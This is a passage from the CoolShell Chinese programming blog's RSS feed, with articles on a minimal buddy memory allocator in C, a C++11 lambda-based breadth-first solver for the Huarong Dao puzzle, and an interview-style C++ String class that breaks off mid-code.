+0000</pubDate>\n\t\t\t\t<category><![CDATA[C/C++语言]]></category>\n\t\t<category><![CDATA[程序设计]]></category>\n\t\t<category><![CDATA[趣味问题]]></category>\n\t\t<category><![CDATA[Algorithm]]></category>\n\t\t<category><![CDATA[Buddy]]></category>\n\t\t<category><![CDATA[内存管理]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=10427</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>（感谢网友 @我的上铺叫路遥 投稿） 提起buddy system相信很多人不会陌生，它是一种经典的内存分配算法，大名鼎鼎的Linux底层的内存管理用的就是它。...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/10427.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/10427.html\">伙伴分配器的一个极简实现</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><strong>（感谢网友 </strong><a href=\"http://weibo.com/fullofbull\" target=\"_blank\"><strong>@我的上铺叫路遥</strong></a><strong> 投稿）</strong></p>\n<p>提起buddy system相信很多人不会陌生，它是一种经典的内存分配算法，大名鼎鼎的Linux底层的内存管理用的就是它。这里不探讨内核这么复杂实现，而仅仅是将该算法抽象提取出来，同时给出一份及其简洁的源码实现，以便定制扩展。</p>\n<p>伙伴分配的实质就是一种特殊的<strong>“分离适配”</strong>，即将内存按2的幂进行划分，相当于分离出若干个块大小一致的空闲链表，搜索该链表并给出同需求最佳匹配的大小。其优点是快速搜索合并（O(logN)时间复杂度）以及低外部碎片（最佳适配best-fit）；其缺点是内部碎片，因为按2的幂划分块，如果碰上66单位大小，那么必须划分128单位大小的块。但若需求本身就按2的幂分配，比如可以先分配若干个内存池，在其基础上进一步细分就很有吸引力了。</p>\n<p>可以在<a href=\"http://en.wikipedia.org/wiki/Buddy_memory_allocation\" target=\"_blank\">维基百科</a>上找到该算法的描述，大体如是：</p>\n<p><strong>分配内存：</strong></p>\n<p>1.寻找大小合适的内存块（大于等于所需大小并且最接近2的幂，比如需要27，实际分配32）</p>\n<p style=\"padding-left: 30px;\">1.如果找到了，分配给应用程序。<br />\n2.如果没找到，分出合适的内存块。</p>\n<p style=\"padding-left: 60px;\">1.对半分离出高于所需大小的空闲内存块<br />\n2.如果分到最低限度，分配这个大小。<br />\n3.回溯到步骤1（寻找合适大小的块）<br />\n4.重复该步骤直到一个合适的块</p>\n<p><span id=\"more-10427\"></span></p>\n<p><strong>释放内存：</strong></p>\n<p>1.释放该内存块</p>\n<p style=\"padding-left: 30px;\">1.寻找相邻的块，看其是否释放了。<br />\n2.如果相邻块也释放了，合并这两个块，重复上述步骤直到遇上未释放的相邻块，或者达到最高上限（即所有内存都释放了）。</p>\n<p>上面这段文字对你来说可能看起来很费劲，没事，我们看个内存分配和释放的示意图你就知道了：</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-10504\" alt=\"\" src=\"https://coolshell.cn/wp-content/uploads/2013/10/buddy-memory-allocation.jpg\" width=\"598\" height=\"346\" srcset=\"https://coolshell.cn/wp-content/uploads/2013/10/buddy-memory-allocation.jpg 598w, https://coolshell.cn/wp-content/uploads/2013/10/buddy-memory-allocation-300x174.jpg 300w, https://coolshell.cn/wp-content/uploads/2013/10/buddy-memory-allocation-467x270.jpg 467w\" sizes=\"(max-width: 598px) 100vw, 598px\" /></p>\n<p>上图中，首先我们假设我们一个内存块有1024K，当我们需要给A分配70K内存的时候，</p>\n<ol>\n<li>我们发现1024K的一半大于70K，然后我们就把1024K的内存分成两半，一半512K。</li>\n<li>然后我们发现512K的一半仍然大于70K，于是我们再把512K的内存再分成两半，一半是128K。</li>\n<li>此时，我们发现128K的一半小于70K，于是我们就分配为A分配128K的内存。</li>\n</ol>\n<p>后面的，B，C，D都这样，而释放内存时，则会把相邻的块一步一步地合并起来（合并也必需按分裂的逆操作进行合并）。</p>\n<p>我们可以看见，这样的算法，用二叉树这个数据结构来实现再合适不过了。</p>\n<p>我在网上分别找到<a href=\"https://github.com/cloudwu/buddy\" target=\"_blank\">cloudwu</a>和<a href=\"https://github.com/wuwenbin/buddy2\">wuwenbin</a>写的两份开源实现和测试用例。实际上后一份是对前一份的精简和优化，本文打算从后一份入手讲解，<strong>因为这份实现真正体现了“极简”二字，追求突破常规的，极致简单的设计。</strong>网友对其评价甚高，甚至可用作教科书标准实现，看完之后回过头来看cloudwu的代码就容易理解了。</p>\n<p>分配器的整体思想是，通过一个数组形式的完全二叉树来监控管理内存，二叉树的节点用于标记相应内存块的使用状态，高层节点对应大的块，低层节点对应小的块，在分配和释放中我们就通过这些节点的标记属性来进行块的分离合并。如图所示，假设总大小为16单位的内存，我们就建立一个深度为5的满二叉树，根节点从数组下标[0]开始，监控大小16的块；它的左右孩子节点下标[1~2]，监控大小8的块；第三层节点下标[3~6]监控大小4的块……依此类推。</p>\n<p style=\"text-align: center;\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter  wp-image-10502\" alt=\"\" src=\"https://coolshell.cn/wp-content/uploads/2013/10/伙伴分配器.jpg\" width=\"591\" height=\"347\" srcset=\"https://coolshell.cn/wp-content/uploads/2013/10/伙伴分配器.jpg 844w, https://coolshell.cn/wp-content/uploads/2013/10/伙伴分配器-300x176.jpg 300w\" sizes=\"(max-width: 591px) 100vw, 591px\" /></p>\n<p>在分配阶段，首先要搜索大小适配的块，假设第一次分配3，转换成2的幂是4，我们先要对整个内存进行对半切割，从16切割到4需要两步，那么从下标[0]节点开始深度搜索到下标[3]的节点并将其标记为已分配。第二次再分配3那么就标记下标[4]的节点。第三次分配6，即大小为8，那么搜索下标[2]的节点，因为下标[1]所对应的块被下标[3~4]占用了。</p>\n<p>在释放阶段，我们依次释放上述第一次和第二次分配的块，即先释放[3]再释放[4]，当释放下标[4]节点后，我们发现之前释放的[3]是相邻的，于是我们立马将这两个节点进行合并，这样一来下次分配大小8的时候，我们就可以搜索到下标[1]适配了。若进一步释放下标[2]，同[1]合并后整个内存就回归到初始状态。</p>\n<p>还是看一下源码实现吧，首先是伙伴分配器的数据结构：</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">struct buddy2 {\n  unsigned size;\n  unsigned longest[1];\n};</pre>\n<p>这里的成员size表明管理内存的总单元数目（测试用例中是32），成员longest就是二叉树的节点标记，表明所对应的内存块的空闲单位，<strong>在下文中会分析这是整个算法中最精妙的设计。</strong>此处数组大小为1表明这是可以向后扩展的（注：在GCC环境下你可以写成longest[0]，不占用空间，这里是出于可移植性考虑），我们在分配器初始化的buddy2_new可以看到这种用法。</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">struct buddy2* buddy2_new( int size ) {\n  struct buddy2* self;\n  unsigned node_size;\n  int i;\n\n  if (size &lt; 1 || !IS_POWER_OF_2(size))\n    return NULL;\n\n  self = (struct buddy2*)ALLOC( 2 * size * sizeof(unsigned));\n  self-&gt;size = size;\n  node_size = size * 2;\n\n  for (i = 0; i &lt; 2 * size - 1; ++i) {\n    if (IS_POWER_OF_2(i+1))\n      node_size /= 2;\n    self-&gt;longest[i] = node_size;\n  }\n  return self;\n}</pre>\n<p>整个分配器的大小就是满二叉树节点数目，即所需管理内存单元数目的2倍。一个节点对应4个字节，longest记录了节点所对应的的内存块大小。</p>\n<p>内存分配的alloc中，入参是分配器指针和需要分配的大小，返回值是内存块索引。alloc函数首先将size调整到2的幂大小，并检查是否超过最大限度。然后进行适配搜索，深度优先遍历，当找到对应节点后，<strong>将其longest标记为0，即分离适配的块出来，</strong>并转换为内存块索引offset返回，依据二叉树排列序号，比如内存总体大小32，我们找到节点下标[8]，内存块对应大小是4，则offset = (8+1)*4-32 = 4，那么分配内存块就从索引4开始往后4个单位。</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">int buddy2_alloc(struct buddy2* self, int size) {\n  unsigned index = 0;\n  unsigned node_size;\n  unsigned offset = 0;\n\n  if (self==NULL)\n    return -1;\n\n  if (size &lt;= 0)\n    size = 1;\n  else if (!IS_POWER_OF_2(size))\n    size = fixsize(size);\n\n  if (self-&gt;longest[index] &lt; size)\n    return -1;\n\n  for(node_size = self-&gt;size; node_size != size; node_size /= 2 ) {\n    if (self-&gt;longest[LEFT_LEAF(index)] &gt;= size)\n      index = LEFT_LEAF(index);\n    else\n      index = RIGHT_LEAF(index);\n  }\n\n  self-&gt;longest[index] = 0;\n  offset = (index + 1) * node_size - self-&gt;size;\n\n  while (index) {\n    index = PARENT(index);\n    self-&gt;longest[index] =\n      MAX(self-&gt;longest[LEFT_LEAF(index)], self-&gt;longest[RIGHT_LEAF(index)]);\n  }\n\n  return offset;\n}</pre>\n<p>在函数返回之前需要回溯，因为小块内存被占用，大块就不能分配了，比如下标[8]标记为0分离出来，那么其父节点下标[0]、[1]、[3]也需要相应大小的分离。<strong>将它们的longest进行折扣计算，取左右子树较大值，</strong>下标[3]取4，下标[1]取8，下标[0]取16，表明其对应的最大空闲值。</p>\n<p>在内存释放的free接口，我们只要传入之前分配的内存地址索引，并确保它是有效值。之后就跟alloc做反向回溯，从最后的节点开始一直往上找到longest为0的节点，即当初分配块所适配的大小和位置。<strong>我们将longest恢复到原来满状态的值。继续向上回溯，检查是否存在合并的块，依据就是左右子树longest的值相加是否等于原空闲块满状态的大小，如果能够合并，就将父节点longest标记为相加的和</strong>（多么简单！）。</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">void buddy2_free(struct buddy2* self, int offset) {\n  unsigned node_size, index = 0;\n  unsigned left_longest, right_longest;\n\n  assert(self &amp;&amp; offset &gt;= 0 &amp;&amp; offset &lt; size);\n\n  node_size = 1;\n  index = offset + self-&gt;size - 1;\n\n  for (; self-&gt;longest[index] ; index = PARENT(index)) {\n    node_size *= 2;\n    if (index == 0)\n      return;\n  }\n\n  self-&gt;longest[index] = node_size;\n\n  while (index) {\n    index = PARENT(index);\n    node_size *= 2;\n\n    left_longest = self-&gt;longest[LEFT_LEAF(index)];\n    right_longest = self-&gt;longest[RIGHT_LEAF(index)];\n\n    if (left_longest + right_longest == node_size)\n      self-&gt;longest[index] = node_size;\n    else\n      self-&gt;longest[index] = MAX(left_longest, right_longest);\n  }\n}</pre>\n<p>上面两个成对alloc/free接口的时间复杂度都是O(logN)，保证了程序运行性能。然而这段程序设计的独特之处就在于<strong>使用加权来标记内存空闲状态，而不是一般的有限状态机，实际上longest既可以表示权重又可以表示状态，状态机就毫无必要了，所谓“少即是多”嘛！</strong>反观cloudwu的实现，将节点标记为UNUSED/USED/SPLIT/FULL四个状态机，反而会带来额外的条件判断和管理实现，而且还不如数值那样精确。从逻辑流程上看，wuwenbin的实现简洁明了如同教科书一般，特别是左右子树的走向，内存块的分离合并，块索引到节点下标的转换都是一步到位，不像cloudwu充斥了大量二叉树的深度和长度的间接计算，让代码变得晦涩难读，这些都是longest的功劳。<strong>一个“极简”的设计往往在于你想不到的突破常规思维的地方。</strong></p>\n<p>这份代码唯一的缺陷就是longest的大小是4字节，内存消耗大。但<a href=\"http://blog.codingnow.com/2011/12/buddy_memory_allocation.html\" target=\"_blank\">cloudwu的博客</a>上有人提议用logN来保存值，这样就能实现uint8_t大小了，<strong>看，又是一个“极简”的设计！</strong></p>\n<p>说实话，很难在网上找到比这更简约更优雅的buddy system实现了——至少在Google上如此。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/17225.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2015/08/cuckoo-150x150.jpg\" alt=\"Cuckoo Filter：设计与实现\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17225.html\" class=\"wp_rp_title\">Cuckoo Filter：设计与实现</a></li><li ><a href=\"https://coolshell.cn/articles/12052.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" alt=\"Leetcode 编程训练\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12052.html\" class=\"wp_rp_title\">Leetcode 编程训练</a></li><li ><a href=\"https://coolshell.cn/articles/11847.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/08/puzzle-150x150.png\" alt=\"谜题的答案和活动的心得体会\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11847.html\" class=\"wp_rp_title\">谜题的答案和活动的心得体会</a></li><li ><a href=\"https://coolshell.cn/articles/11832.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/08/538efefbgw1eiz9cvx78fj20rm0fmdi8-150x150.jpg\" alt=\"【活动】解迷题送礼物\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11832.html\" class=\"wp_rp_title\">【活动】解迷题送礼物</a></li><li ><a href=\"https://coolshell.cn/articles/10590.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/10/QR-Code-Overview-150x150.jpeg\" alt=\"二维码的生成细节和原理\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/10590.html\" class=\"wp_rp_title\">二维码的生成细节和原理</a></li><li ><a href=\"https://coolshell.cn/articles/9886.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/8.jpg\" alt=\"二叉树迭代器算法\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9886.html\" class=\"wp_rp_title\">二叉树迭代器算法</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/10427.html\">伙伴分配器的一个极简实现</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/10427.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>55</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>C++11的Lambda使用一例：华容道求解</title>\n\t\t<link>https://coolshell.cn/articles/10476.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/10476.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[Solstice]]></dc:creator>\n\t\t<pubDate>Wed, 09 Oct 2013 07:50:21 +0000</pubDate>\n\t\t\t\t<category><![CDATA[C/C++语言]]></category>\n\t\t<category><![CDATA[C++]]></category>\n\t\t<category><![CDATA[Lambda]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=10476</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>（感谢网友 @bnu_chenshuo 投稿） 华容道是一个有益的智力游戏，游戏规则不再赘述。用计算机求解华容道也是一道不错的编程练习题，为了寻求最少步数，求解...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/10476.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/10476.html\">C++11的Lambda使用一例：华容道求解</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><strong>（感谢网友 <a href=\"http://weibo.com/u/1701018393?source=webim\" target=\"_blank\"><img decoding=\"async\" alt=\"\" src=\"http://tp2.sinaimg.cn/1701018393/50/1297990315/1\" /></a><a title=\"bnu_chenshuo\" href=\"http://weibo.com/u/1701018393?source=webim\" target=\"_blank\"> @bnu_chenshuo </a>投稿）</strong></p>\n<p style=\"text-align: center;\"><img decoding=\"async\" loading=\"lazy\" class=\"wp-image-10490 alignright\" alt=\"\" src=\"https://coolshell.cn/wp-content/uploads/2013/10/huarong.png\" width=\"365\" height=\"227\" srcset=\"https://coolshell.cn/wp-content/uploads/2013/10/huarong.png 522w, https://coolshell.cn/wp-content/uploads/2013/10/huarong-300x186.png 300w, https://coolshell.cn/wp-content/uploads/2013/10/huarong-435x270.png 435w\" sizes=\"(max-width: 365px) 100vw, 365px\" /></p>\n<p>华容道是一个有益的智力游戏，游戏规则不再赘述。用计算机求解华容道也是一道不错的编程练习题，为了寻求最少步数，求解程序一般用广度优先搜索算法。华容道的一种常见开局如图 1 所示。</p>\n<p>广度优先搜索算法求解华容道的基本步骤：</p>\n<ol>\n<li>准备两个“全局变量”，队列 Q 和和集合 S，S 代表“已知局面”。初时 Q 和 S 皆为空。</li>\n<li>将初始局面加入队列 Q 的末尾，并将初始局面设为已知。</li>\n<li>当队列不为空时，从 Q 的队首取出当前局面 <code>curr</code>。如果队列为空则结束搜索，表明无解。</li>\n<li>如果 <code>curr</code> 是最终局面（曹操位于门口，图 2），则结束搜索，否则继续到第 5 步。</li>\n<li>考虑 <code>curr</code> 中每个可以移动的棋子，试着上下左右移动一步，得到新局面 <code>next</code>，如果新局面未知（<code>next</code> ∉ S），则把它加入队列 Q，并设为已知。这一步可能产生多个新局面。</li>\n<li>回到第2步。</li>\n</ol>\n<p>其中“局面已知”并不要求每个棋子的位置相同，而是指棋子的投影的形状相同（代码中用 mask 表示），例如交换图 1 中的张飞和赵云并不产生新局面，这一规定可以大大缩小搜索空间。</p>\n<p>以上步骤很容易转换为 C++ 代码，这篇文章重点关注的是第 5 步的实现。</p>\n<p><span id=\"more-10476\"></span></p>\n<pre data-enlighter-language=\"cpp\" class=\"EnlighterJSRAW\">// 第 1 步\nstd::unordered_set&lt;Mask&gt; seen;\nstd::deque&lt;State&gt; queue;\n\n// 第 2 步\nState initial;\n// 填入 initial，略。\nqueue.push_back(initial);\nseen.insert(initial.toMask());\n\n// 第 3 步\nwhile (!queue.empty())\n{\n  const State curr = queue.front();\n  queue.pop_front();\n\n  // 第 4 步\n  if (curr.isSolved())\n    break;\n\n  // 第 5 步\n  for (const State&amp; next : curr.moves())\n  {\n    auto result = seen.insert(next.toMask());\n    if (result.second)\n      queue.push_back(next);\n  }\n}</pre>\n<p>在以上原始实现中，<code>curr.move()</code> 将返回一个 <code>std::vector&lt;State&gt;</code> 临时对象。一种节省开销的办法是准备一个 <code>std::vector&lt;State&gt;</code> “涂改变量”，让 <code>curr.move()</code> 反复修改它，比如改成：</p>\n<pre data-enlighter-language=\"cpp\" class=\"EnlighterJSRAW\">// 第 1 步新增一个 scratch 变量\nstd::vector&lt;State&gt; nextMoves;\n\n// 第 3 步\nwhile (!queue.empty())\n{\n  // ...\n  // 第 5 步\n  curr.fillMoves(&amp;nextMoves);\n  for (const State&amp; next : nextMoves)\n  { /* 略 */ }\n}</pre>\n<p>还有一种彻底不用这个 <code>std::vector&lt;State&gt;</code> 的办法，把一部分逻辑以 lambda 的形式传给 <code>curr.move()</code>，代码的结构基本不变：</p>\n<pre data-enlighter-language=\"cpp\" class=\"EnlighterJSRAW\">// 第 3 步\nwhile (!queue.empty())\n{\n  // ...\n  // 第 5 步\n  curr.move([&amp;seen, &amp;queue](const State&amp; next) {\n    auto result = seen.insert(next.toMask());\n    if (result.second)\n      queue.push_back(next);\n  });\n}</pre>\n<p>这样一来，主程序的逻辑依然清晰，不必要的开销也降到了最小。</p>\n<p>在我最早的实现中，<code>curr.move()</code> 的参数是 <code>const std::function&lt;void(const State&amp;)&gt; &amp;</code>，但是我发现这里每次构造 <code>std::function&lt;void(const State&amp;)&gt;</code> 对象都会分配一次内存，似乎有些不值。因此在现在的实现中 <code>curr.move()</code> 是个函数模板，这样就能自动匹配lambda参数（通常是个 struct 对象），省去了 <code>std::function</code>的内存分配。</p>\n<p>本文完整的代码见 <a href=\"https://github.com/chenshuo/recipes/blob/master/puzzle/huarong.cc\">https://github.com/chenshuo/recipes/&#8230;/puzzle/huarong.cc</a>，需用 GCC 4.7 编译，求解图 1 的题目的耗时约几十毫秒。</p>\n<p><strong>练习：</strong>修改程序，打印每一步移动棋子的情况。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/22422.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2023/05/monolith.microservices-150x150.png\" alt=\"是微服务架构不香还是云不香？\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22422.html\" class=\"wp_rp_title\">是微服务架构不香还是云不香？</a></li><li ><a href=\"https://coolshell.cn/articles/20845.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/03/rust-social-wide-150x150.jpg\" alt=\"Rust语言的编程范式\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20845.html\" class=\"wp_rp_title\">Rust语言的编程范式</a></li><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" alt=\"API设计原则 &#8211; Qt官网的设计实践总结\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_title\">API设计原则 &#8211; Qt官网的设计实践总结</a></li><li ><a href=\"https://coolshell.cn/articles/12052.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" alt=\"Leetcode 编程训练\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12052.html\" class=\"wp_rp_title\">Leetcode 编程训练</a></li><li ><a href=\"https://coolshell.cn/articles/12012.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/10/edsm-150x150.gif\" alt=\"State Threads 回调终结者\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12012.html\" class=\"wp_rp_title\">State Threads 回调终结者</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/10476.html\">C++11的Lambda使用一例：华容道求解</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/10476.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>12</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>C++面试中string类的一种正确写法</title>\n\t\t<link>https://coolshell.cn/articles/10478.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/10478.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[Solstice]]></dc:creator>\n\t\t<pubDate>Wed, 09 Oct 2013 07:40:38 +0000</pubDate>\n\t\t\t\t<category><![CDATA[C/C++语言]]></category>\n\t\t<category><![CDATA[C++]]></category>\n\t\t<category><![CDATA[面试]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=10478</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>（感谢网友 @bnu_chenshuo 投稿） C++ 的一个常见面试题是让你实现一个 String 类，限于时间，不可能要求具备 std::string 的功...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/10478.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/10478.html\">C++面试中string类的一种正确写法</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><strong>（感谢网友 <a href=\"http://weibo.com/u/1701018393?source=webim\" target=\"_blank\"><img decoding=\"async\" alt=\"\" src=\"http://tp2.sinaimg.cn/1701018393/50/1297990315/1\" /></a><a title=\"bnu_chenshuo\" href=\"http://weibo.com/u/1701018393?source=webim\" target=\"_blank\"> @bnu_chenshuo </a>投稿）</strong></p>\n<p>C++ 的一个常见面试题是让你实现一个 String 类，限于时间，不可能要求具备 std::string 的功能，但至少要求能正确管理资源。具体来说：</p>\n<ol>\n<li>能像 int 类型那样定义变量，并且支持赋值、复制。</li>\n<li>能用作函数的参数类型及返回类型。</li>\n<li>能用作标准库容器的元素类型，即 vector/list/deque 的 value_type。（用作 std::map 的 key_type 是更进一步的要求，本文从略）。</li>\n</ol>\n<p>换言之，你的 String 能让以下代码编译运行通过，并且没有内存方面的错误。</p>\n<pre data-enlighter-language=\"cpp\" class=\"EnlighterJSRAW\">void foo(String x)\n{\n}\n\nvoid bar(const String&amp; x)\n{\n}\n\nString baz()\n{\n  String ret(&quot;world&quot;);\n  return ret;\n}\n\nint main()\n{\n  String s0;\n  String s1(&quot;hello&quot;);\n  String s2(s0);\n  String s3 = s1;\n  s2 = s1;\n\n  foo(s1);\n  bar(s1);\n  foo(&quot;temporary&quot;);\n  bar(&quot;temporary&quot;);\n  String s4 = baz();\n\n  std::vector&lt;String&gt; svec;\n  svec.push_back(s0);\n  svec.push_back(s1);\n  svec.push_back(baz());\n  svec.push_back(&quot;good job&quot;);\n}</pre>\n<p><span id=\"more-10478\"></span>本文给出我认为适合面试的答案，强调正确性及易实现（白板上写也不会错），不强调效率。某种意义上可以说是以时间（运行快慢）换空间（代码简洁）。</p>\n<p>首先选择数据成员，最简单的 String 只有一个 char* 成员变量。好处是容易实现，坏处是某些操作的复杂度较高（例如 size() 会是线性时间）。为了面试时写代码不出错，本文设计的 String 只有一个 char* data_成员。而且规定 invariant 如下：一个 valid 的 string 对象的 data_ 保证不为 NULL，data_ 以 <code>'\\0'</code> 结尾，以方便配合 C 语言的 str*() 系列函数。</p>\n<p>其次决定支持哪些操作，构造、析构、拷贝构造、赋值这几样是肯定要有的（以前合称 big three，现在叫 copy control）。如果钻得深一点，C++11的移动构造和移动赋值也可以有。为了突出重点，本文就不考虑 operator[] 之类的重载了。</p>\n<p>这样代码基本上就定型了：</p>\n<pre data-enlighter-language=\"cpp\" class=\"EnlighterJSRAW\">#include &lt;utility&gt;\n#include &lt;string.h&gt;\n\nclass String\n{\n public:\n  String()\n    : data_(new char[1])\n  {\n    *data_ = &#039;&#092;&#048;&#039;;\n  }\n\n  String(const char* str)\n    : data_(new char[strlen(str) + 1])\n  {\n    strcpy(data_, str);\n  }\n\n  String(const String&amp; rhs)\n    : data_(new char[rhs.size() + 1])\n  {\n    strcpy(data_, rhs.c_str());\n  }\n  /* Delegate constructor in C++11\n  String(const String&amp; rhs)\n    : String(rhs.data_)\n  {\n  }\n  */\n\n  ~String()\n  {\n    delete[] data_;\n  }\n\n  /* Traditional:\n  String&amp; operator=(const String&amp; rhs)\n  {\n    String tmp(rhs);\n    swap(tmp);\n    return *this;\n  }\n  */\n  String&amp; operator=(String rhs) // yes, pass-by-value\n  {\n    swap(rhs);\n    return *this;\n  }\n\n  // C++ 11\n  String(String&amp;&amp; rhs)\n    : data_(rhs.data_)\n  {\n    rhs.data_ = nullptr;\n  }\n\n  String&amp; operator=(String&amp;&amp; rhs)\n  {\n    swap(rhs);\n    return *this;\n  }\n\n  // Accessors\n\n  size_t size() const\n  {\n    return strlen(data_);\n  }\n\n  const char* c_str() const\n  {\n    return data_;\n  }\n\n  void swap(String&amp; rhs)\n  {\n    